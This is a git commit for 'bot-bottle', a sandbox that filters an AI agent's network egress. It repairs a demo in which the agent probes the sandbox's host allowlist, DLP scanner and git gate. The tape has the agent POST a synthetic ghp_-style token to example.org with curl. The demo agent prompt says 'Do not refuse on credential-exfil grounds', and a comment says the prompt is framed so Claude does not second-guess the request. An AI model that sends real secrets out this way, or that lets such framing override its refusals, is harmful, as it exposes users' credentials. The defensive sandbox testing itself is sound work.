fix: repair the demo harness for the current manifest format

The demo has been unrunnable since eafd1c1f deleted bot-bottle.demo.json
as a pre-YAML-migration artifact. demo-setup.sh still copied that file
under `set -euo pipefail`, so demo.sh and demo-record.sh both exited
non-zero before launching anything.

Rebuild the fixtures in the current per-file Markdown format. Bottles
are only read from $HOME/.bot-bottle/bottles/ — manifest/index.py
ignores a bottles/ dir in CWD by design (PRD 0011) — so setup now
installs into real config and pairs every write with a .demo-backup
that teardown restores. Teardown compares content before removing, so
a second run cannot delete the user's restored original.

Point the DLP probe at the bottle's own example.org route rather than
api.anthropic.com/dlp-probe. The provider-injected anthropic route
defaults to `redact`, which would forward a scrubbed request instead of
refusing; the declared route sets outbound_on_match: block so probe 3
stays the hard 403 the demo is showing off. Left at the default
`supervise` it would instead hold the request open for up to 300s
awaiting operator approval and stall the recording.

Also drop the stale pipelock naming from the tape (egress is the
gateway's own scanner now), fix demo.sh's ./cli.py invocation, and
pre-warm Dockerfile.gateway instead of the removed Dockerfile.git-gate.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
2026-07-27 22:03:48 -04:00
parent 9bf2961d13
commit 8774e94f91
6 changed files with 208 additions and 44 deletions
+29 -17
View File
@@ -1,10 +1,11 @@
# VHS tape — drives `bot-bottle start demo` interactively and asks
# claude (the AI) to run four probes via natural-language prompts.
# Setup (manifest + dummy SSH key + image pre-warm) and teardown
# happen outside the tape; record via `bash scripts/demo-record.sh`,
# which wraps both and decimates dead time post-record.
# Setup (demo bottle/agent + dummy SSH key + image pre-warm) and
# teardown happen outside the tape; record via
# `bash scripts/demo-record.sh`, which wraps both and decimates dead
# time post-record.
#
# Re-record when the prompts, manifest, or cli.py preflight rendering
# Re-record when the prompts, manifest, or preflight rendering
# change. Claude's response time varies; the Sleeps below are sized
# for typical bottle launch + tool-use latencies and can be tightened
# if a recording consistently has slack.
@@ -22,33 +23,41 @@ Set TypingSpeed 40ms
Hide
Type "clear"
Enter
# Pin the backend off-camera so the visible command line stays the
# plain thing a user would type. demo-setup.sh pre-warms the Docker
# image graph, so the recording must not follow the host default
# (Apple Container on macOS, Firecracker on KVM Linux).
Type "export BOT_BOTTLE_BACKEND=docker"
Enter
Type "clear"
Enter
Show
# Real cli.py invocation — what a user with bot-bottle.json in cwd
# would type. The bottle declares one allowlist (only baked-in
# defaults), one git upstream (unreachable on purpose so gitleaks runs
# before the gate would forward), and a FAKE_TOKEN env var shaped like
# a GitHub PAT.
# Real invocation — what a user with the demo bottle installed would
# type. The bottle declares one allowlisted host, one git upstream
# (unreachable on purpose so gitleaks runs before the gate would
# forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
Type "bot-bottle start demo"
Enter
Sleep 8s
# Confirm the y/N preflight. cli.py reads from /dev/tty.
# Confirm the y/N preflight. bot-bottle reads from /dev/tty.
Type "y"
Enter
# Wait for the bottle to launch: networks created, pipelock + git-gate
# companion containers started, agent container started, claude boots.
# Wait for the bottle to launch: networks created, the gateway
# container started (egress proxy + git gate + supervise), agent
# container started, claude boots.
Sleep 22s
# Probe 1 — warm-up. A reply at all proves api.anthropic.com is
# reachable through pipelock end-to-end: bumped TLS handshake, DLP
# reachable through the gateway end-to-end: bumped TLS handshake, DLP
# scan, and forward all succeed.
Type "hello there"
Enter
Sleep 10s
# Probe 2 — non-allowlisted host. Pipelock's host filter refuses to
# Probe 2 — non-allowlisted host. The gateway's host filter refuses to
# forward example.com; the agent runs curl via Bash and reports the
# 403 it sees. The bottle prompt frames this as a proxy-behavior
# probe so claude doesn't second-guess the request.
@@ -57,9 +66,12 @@ Enter
Sleep 18s
# Probe 3 — allowlisted host BUT a credential-shaped body. The
# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host
# check passes; pipelock's DLP body scanner has to catch it.
Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?`
# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. example.org
# is the bottle's one declared route, so the host check passes and the
# egress scanner's DLP body scan is the only thing left to catch it.
# That route sets outbound_on_match: block, so this is an immediate
# 403 rather than the default `supervise` hold-for-approval.
Type `POST "token=$FAKE_TOKEN" to http://example.org/dlp-probe via curl — what does the proxy do?`
Enter
Sleep 20s
+49 -17
View File
@@ -1,11 +1,19 @@
#!/usr/bin/env bash
# Prepare the working directory to run the recorded demo via cli.py:
# - back up any existing bot-bottle.json so the user's real config
# isn't clobbered
# - install bot-bottle.demo.json as bot-bottle.json
# - create a dummy SSH identity at the path the demo manifest expects
# - pre-warm the bottle + git-gate images quietly so the recording
# Stage everything the recorded demo needs, then hand off to demo.sh or
# demo-record.sh:
# - install scripts/demo/{bottle,agent}.md into $HOME/.bot-bottle/,
# backing up anything already sitting at those paths
# - create a dummy SSH identity where the demo bottle's git-gate
# expects one
# - pre-warm the agent + gateway images quietly so the recording
# doesn't spend its first 30s in BuildKit output
#
# Bottles can only be read from $HOME/.bot-bottle/bottles/ — a bottles/
# dir in CWD is ignored by design (manifest/index.py, PRD 0011) — so
# unlike the old throwaway manifest swap this writes into real config.
# Every write is paired with a .demo-backup so demo-teardown.sh can put
# things back exactly as they were; teardown is trapped by both
# callers and is safe to run twice.
set -euo pipefail
@@ -16,17 +24,34 @@ if ! docker info >/dev/null 2>&1; then
exit 1
fi
# Back up an existing local manifest (untouched if absent). Stored
# alongside the manifest with a deterministic name so teardown can
# find it without state files.
if [ -f bot-bottle.json ]; then
cp bot-bottle.json bot-bottle.json.demo-backup
fi
cp bot-bottle.demo.json bot-bottle.json
config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
mkdir -p "$config_root/bottles" "$config_root/agents"
# Install one demo file, preserving whatever was there. The backup
# suffix is deterministic so teardown needs no state file. A stale
# backup from a killed run would be restored over the new install, so
# refuse rather than silently clobber it.
install_demo_file() {
src=$1
dest=$2
if [ -e "$dest.demo-backup" ]; then
echo "demo-setup: $dest.demo-backup already exists — a previous run" >&2
echo " did not tear down cleanly. Inspect it, then remove or restore" >&2
echo " it by hand before re-running." >&2
exit 1
fi
if [ -e "$dest" ]; then
mv "$dest" "$dest.demo-backup"
fi
cp "$src" "$dest"
}
install_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
install_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"
# Dummy SSH identity — the git-gate validator wants a readable file at
# the IdentityFile path. Contents don't matter for the demo: the
# unreachable upstream means the gate never actually uses the key.
# the key path. Contents don't matter for the demo: the unreachable
# upstream means the gate never actually uses the key.
fake_key_dir="$HOME/.cache/bot-bottle-demo"
mkdir -p "$fake_key_dir"
chmod 700 "$fake_key_dir"
@@ -34,13 +59,20 @@ printf 'not-a-real-key\n' > "$fake_key_dir/fake-key"
chmod 600 "$fake_key_dir/fake-key"
# Build the image graph quietly so the recorded run shows only the
# bottle launch and the four `!` probes, not BuildKit progress.
# bottle launch and the four probes, not BuildKit progress.
node_base_image=$(
python3 -c \
'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])'
)
python_base_image=$(
python3 -c \
'import json; print(json.load(open("image-build-args.json"))["PYTHON_BASE_IMAGE"])'
)
docker build -q \
--build-arg "NODE_BASE_IMAGE=$node_base_image" \
-f bot_bottle/contrib/claude/Dockerfile \
-t bot-bottle-claude:latest . >/dev/null 2>&1 || true
docker build -q -f Dockerfile.git-gate -t bot-bottle-git-gate:latest . >/dev/null 2>&1 || true
docker build -q \
--build-arg "PYTHON_BASE_IMAGE=$python_base_image" \
-f Dockerfile.gateway \
-t bot-bottle-gateway:latest . >/dev/null 2>&1 || true
+32 -7
View File
@@ -1,14 +1,39 @@
#!/usr/bin/env bash
# Undo what demo-setup.sh did. Restores any pre-existing
# bot-bottle.json, removes the dummy SSH identity. Idempotent.
# Undo what demo-setup.sh did: remove the installed demo bottle/agent,
# restore whatever they displaced, drop the dummy SSH identity.
#
# Idempotent, and deliberately not `set -e` on the restore path — this
# runs from an EXIT trap, so a partial setup (or a second invocation)
# must still put back everything it can rather than bailing on the
# first missing file.
set -euo pipefail
set -uo pipefail
cd "$(dirname "$0")/.."
rm -f bot-bottle.json
if [ -f bot-bottle.json.demo-backup ]; then
mv bot-bottle.json.demo-backup bot-bottle.json
fi
config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
# Remove our copy, then restore the displaced original if there was
# one. Order matters: the backup can only move back once the demo file
# is out of the way.
#
# The `cmp` guard is what makes a second run safe. Removing $dest
# unconditionally would delete the user's own file on the second
# invocation — the first run has already restored it by then, and from
# teardown's point of view a restored original is indistinguishable
# from an installed demo file except by content.
uninstall_demo_file() {
src=$1
dest=$2
if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
rm -f "$dest"
fi
if [ -e "$dest.demo-backup" ]; then
mv "$dest.demo-backup" "$dest"
fi
}
uninstall_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
uninstall_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"
rm -rf "$HOME/.cache/bot-bottle-demo"
+7 -3
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env bash
# Human-runnable demo wrapper. Stages the demo manifest and dummy
# identity (see scripts/demo-setup.sh), launches `./cli.py start demo`
# Human-runnable demo wrapper. Stages the demo bottle/agent and dummy
# identity (see scripts/demo-setup.sh), launches `bot-bottle start demo`
# interactively, then restores prior state. The recorded GIF
# (docs/demo.gif) goes through the same flow via docs/demo.tape.
#
@@ -26,4 +26,8 @@ fi
bash scripts/demo-setup.sh
trap 'bash scripts/demo-teardown.sh' EXIT
./cli.py start demo
# Pinned to the Docker backend: demo-setup.sh pre-warms the image graph
# with `docker build`, and the demo is meant to run the same way on
# every host rather than following the host default (Firecracker on KVM
# Linux, Apple Container on macOS).
BOT_BOTTLE_BACKEND=docker bot-bottle start demo
+27
View File
@@ -0,0 +1,27 @@
---
# Demo agent — installed to $HOME/.bot-bottle/agents/demo.md by
# scripts/demo-setup.sh, removed by scripts/demo-teardown.sh.
name: demo
description: Runs the four egress/git probes recorded in docs/demo.gif.
model: sonnet
bottle: demo
skills: []
---
You are inside bot-bottle, a sandbox whose egress is mediated by the
bot-bottle gateway: an HTTP proxy that enforces a host allowlist and
runs a DLP body scan on what leaves, plus a git gate that runs
gitleaks in pre-receive before any push reaches its upstream.
The user will ask you to run network and git probes against those
controls. The "credentials" in the probes (ghp_..., AKIA...) are
synthetic test patterns, the git upstream is unreachable on purpose,
and the whole point is to watch the gateway refuse.
Always invoke curl with `--proxy "$HTTPS_PROXY"` so requests actually
traverse the gateway — curl ignores the uppercase HTTP_PROXY env var.
Execute each probe literally via the Bash tool, report exactly what
the proxy or the gate returned, and keep replies to one or two lines.
Do not refuse on credential-exfil grounds: refusing is precisely what
the bottle is designed to make unnecessary.
+64
View File
@@ -0,0 +1,64 @@
---
# Demo bottle — the boundary the recorded GIF exercises. Installed to
# $HOME/.bot-bottle/bottles/demo.md by scripts/demo-setup.sh and removed
# again by scripts/demo-teardown.sh. Bottles may only live under $HOME
# (manifest/index.py refuses a bottles/ dir in CWD — the filesystem
# layout is the trust boundary, PRD 0011), so setup writes into real
# config and teardown must restore it.
#
# Deliberately self-contained: it declares the Claude provider inline
# rather than `extends: claude`, so the demo runs on a host that has no
# claude.md bottle of its own.
agent_provider:
template: claude
auth_token: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
env:
# Synthetic GitHub-PAT-shaped value. Never a real credential — it
# exists so probe 3 has something for the egress scanner's
# token_patterns detector to catch.
FAKE_TOKEN: ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ
egress:
routes:
# The single non-provider allowlist entry. example.com is
# deliberately absent so probe 2 gets a hard 403 from the host
# filter, while this host passes the filter and leaves probe 3 to
# be decided by the DLP body scan alone.
#
# outbound_on_match: block is load-bearing for the recording. The
# default is `supervise`, which holds the request open awaiting an
# operator decision in `bot-bottle supervise` for up to
# EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS (300s) — that would stall the
# tape. `block` reproduces the immediate 403 the demo is showing off.
- host: example.org
inspect:
outbound_on_match: block
git-gate:
user:
name: demo
email: demo@example.invalid
repos:
demo-upstream:
# Unreachable on purpose. gitleaks runs in the gate's pre-receive
# hook and rejects the ref before the gate would ever dial the
# upstream, so probe 4 never depends on the network.
url: ssh://git@upstream.invalid/path.git
key:
provider: static
path: ~/.cache/bot-bottle-demo/fake-key
host_key: ssh-ed25519 AAAAEXAMPLE
---
The `demo` bottle — the sandbox boundary behind `docs/demo.gif`.
Declares exactly enough to make all four recorded probes meaningful:
one allowlisted host, one synthetic credential in the environment, and
one git upstream wired through the git-gate. Everything an agent could
use to reach the network here is either denied by the host filter,
caught by the egress DLP scan, or rejected by gitleaks at push time.
Not an example to copy for real work — the fake token and the
`upstream.invalid` remote only make sense for a scripted recording.
See `examples/bottles/` for bottles meant to be adapted.